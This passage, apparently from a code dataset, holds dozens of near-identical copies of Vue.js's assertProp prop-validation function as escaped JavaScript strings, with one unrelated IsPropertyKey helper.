(expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n }","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" + \" Expected \" + expectedTypes.map(capitalize).join(', ') + \", got \" + toRawType(value) + \".\", vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n }","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" + \" Expected \" + expectedTypes.map(capitalize).join(', ') + \", got \" + toRawType(value) + \".\", vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" + \" Expected \" + expectedTypes.map(capitalize).join(', ') + \", got \" + toRawType(value) + \".\", vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" + \" Expected \" + expectedTypes.map(capitalize).join(', ') + \", got \" + toRawType(value) + \".\", vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" + \" Expected \" + expectedTypes.map(capitalize).join(', ') + \", got \" + toRawType(value) + \".\", vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" + \" Expected \" + expectedTypes.map(capitalize).join(', ') + \", got \" + toRawType(value) + \".\", vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" + \" Expected \" + expectedTypes.map(capitalize).join(', ') + \", got \" + toRawType(value) + \".\", vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(\n prop,\n name,\n value,\n vm,\n absent,\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm,\n );\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || \"\");\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(\n getInvalidTypeMessage(name, value, expectedTypes),\n vm,\n );\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name +\n '\".',\n vm,\n );\n }\n }\n }","function assertProp(prop, name, value, vm, absent) {\n\t if (prop.required && absent) {\n\t warn('Missing required prop: \"' + name + '\"', vm);\n\t return;\n\t }\n\t if (value == null && !prop.required) {\n\t return;\n\t }\n\t var type = prop.type;\n\t var valid = !type || type === true;\n\t var expectedTypes = [];\n\t if (type) {\n\t if (!Array.isArray(type)) {\n\t type = [type];\n\t }\n\t for (var i = 0; i < type.length && !valid; i++) {\n\t var assertedType = assertType(value, type[i]);\n\t expectedTypes.push(assertedType.expectedType || '');\n\t valid = assertedType.valid;\n\t }\n\t }\n\t if (!valid) {\n\t warn('Invalid prop: type check failed for prop \"' + name + '\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\n\t return;\n\t }\n\t var validator = prop.validator;\n\t if (validator) {\n\t if (!validator(value)) {\n\t warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n\t }\n\t }\n\t}","function assertProp(prop, name, value, vm, absent) {\n\t if (prop.required && absent) {\n\t warn('Missing required prop: \"' + name + '\"', vm);\n\t return;\n\t }\n\t if (value == null && !prop.required) {\n\t return;\n\t }\n\t var type = prop.type;\n\t var valid = !type || type === true;\n\t var expectedTypes = [];\n\t if (type) {\n\t if (!Array.isArray(type)) {\n\t type = [type];\n\t }\n\t for (var i = 0; i < type.length && !valid; i++) {\n\t var assertedType = assertType(value, type[i]);\n\t expectedTypes.push(assertedType.expectedType || '');\n\t valid = assertedType.valid;\n\t }\n\t }\n\t if (!valid) {\n\t warn('Invalid prop: type check failed for prop \"' + name + '\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\n\t return;\n\t }\n\t var validator = prop.validator;\n\t if (validator) {\n\t if (!validator(value)) {\n\t warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n\t }\n\t }\n\t}","function assertProp(prop, name, value, vm, absent) {\n\t if (prop.required && absent) {\n\t warn('Missing required prop: \"' + name + '\"', vm);\n\t return;\n\t }\n\t if (value == null && !prop.required) {\n\t return;\n\t }\n\t var type = prop.type;\n\t var valid = !type || type === true;\n\t var expectedTypes = [];\n\t if (type) {\n\t if (!Array.isArray(type)) {\n\t type = [type];\n\t }\n\t for (var i = 0; i < type.length && !valid; i++) {\n\t var assertedType = assertType(value, type[i]);\n\t expectedTypes.push(assertedType.expectedType || '');\n\t valid = assertedType.valid;\n\t }\n\t }\n\t if (!valid) {\n\t warn('Invalid prop: type check failed for prop \"' + name + '\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\n\t return;\n\t }\n\t var validator = prop.validator;\n\t if (validator) {\n\t if (!validator(value)) {\n\t warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n\t }\n\t }\n\t}","function IsPropertyKey(argument) {\n if (Type(argument) === 'string') return true;\n if (Type(argument) === 'symbol') return true;\n return false;\n }","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn('Invalid prop: type check failed for prop \"' + name + '\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn('Invalid prop: type check failed for prop \"' + name + '\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n `Invalid prop: type check failed for prop \"${name}\".` +\n ` Expected ${expectedTypes.map(capitalize).join(', ')}` +\n `, got ${toRawType(value)}.`,\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if 